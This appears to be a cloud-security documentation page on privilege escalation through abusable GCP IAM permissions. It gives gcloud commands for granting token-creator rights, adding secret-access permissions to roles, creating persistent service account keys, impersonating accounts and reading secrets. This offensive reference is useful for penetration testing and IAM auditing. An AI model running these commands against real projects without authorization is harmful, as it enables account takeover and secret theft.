> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/gcp/gcp-offensive-security/gcp-privilege-escalation/iam.md). Agents can also search and read this documentation through its [MCP server](https://www.techwithtyler.dev/~gitbook/mcp).

# IAM

Abusable GCP IAM permissions that can lead to compromise or privilege escalation

## \*.\*.setIamPolicy

* Because IAM policies get inherited from the Organization downward, the following permissions at their respective levels enable privilege escalation:
  * Organization: `resourcemanager.organizations.setIamPolicy`
  * Folder: `resourcemanager.folders.setIamPolicy`
  * Project: `resourcemanager.projects.setIamPolicy`
  * Service Account: `iam.serviceAccounts.setIamPolicy`&#x20;
  * Resources: `<resource>.setIamPolicy`&#x20;
* Below is an example of granting yourself access to create a credential on the target Service Account enabling you to then impersonate that SA.

{% code overflow="wrap" %}

```shell
gcloud iam service-accounts add-iam-policy-binding <TARGET_SA>@<PROJECT>.iam.gserviceaccount.com \
  --member="serviceAccount:<ATTACKER_SA>@<PROJECT>.iam.gserviceaccount.com" \
  --role="roles/iam.serviceAccountTokenCreator"

gcloud config set auth/impersonate_service_account <TARGET_SA>@<PROJECT>.iam.gserviceaccount.com
```

{% endcode %}

***

## iam.roles.update

* With this permission, an attacker can add any permission to an existing custom role without needing to create a new role or touch IAM bindings.

{% code overflow="wrap" %}

```shell
gcloud iam roles update <CUSTOM_ROLE_ID> \
  --project=<PROJECT> \
  --add-permissions=secretmanager.versions.access

gcloud secrets versions access latest --secret=<SECRET_NAME>
```

{% endcode %}

***

## iam.serviceAccountKeys.create

* With this permission on a target service account, an attacker can create a persistent JSON key for that SA and authenticate as it indefinitely.

{% code overflow="wrap" %}

```shell
gcloud iam service-accounts keys create target.json \
  --iam-account=<TARGET_SA>@<PROJECT>.iam.gserviceaccount.com

gcloud auth activate-service-account --key-file=target.json
```

{% endcode %}

***

## iam.serviceAccounts.getAccessToken

* With this permission granted on a target service account, an attacker can generate a short-lived OAuth access token and impersonate that SA — no private key required.

{% code overflow="wrap" %}

```shell
gcloud config set auth/impersonate_service_account <TARGET_SA>@<PROJECT>.iam.gserviceaccount.com
```

{% endcode %}

***

## iam.serviceAccounts.implicitDelegation

* With this permission on a middle SA, an attacker can use it as a delegation hop — passing through it to reach a target SA that has granted the middle SA `getAccessToken`. The entire chain is resolved in a single call; you never materialize credentials for the middle SA. This differs from AWS IAM role chaining, where you must first assume Role A (receiving STS credentials) before using those credentials to assume Role B.

{% code overflow="wrap" %}

```shell
gcloud secrets versions access latest \
  --secret=<SECRET_NAME> \
  --impersonate-service-account=<MIDDLE_SA>@<PROJECT>.iam.gserviceaccount.com,<TARGET_SA>@<PROJECT>.iam.gserviceaccount.com
```

{% endcode %}

***
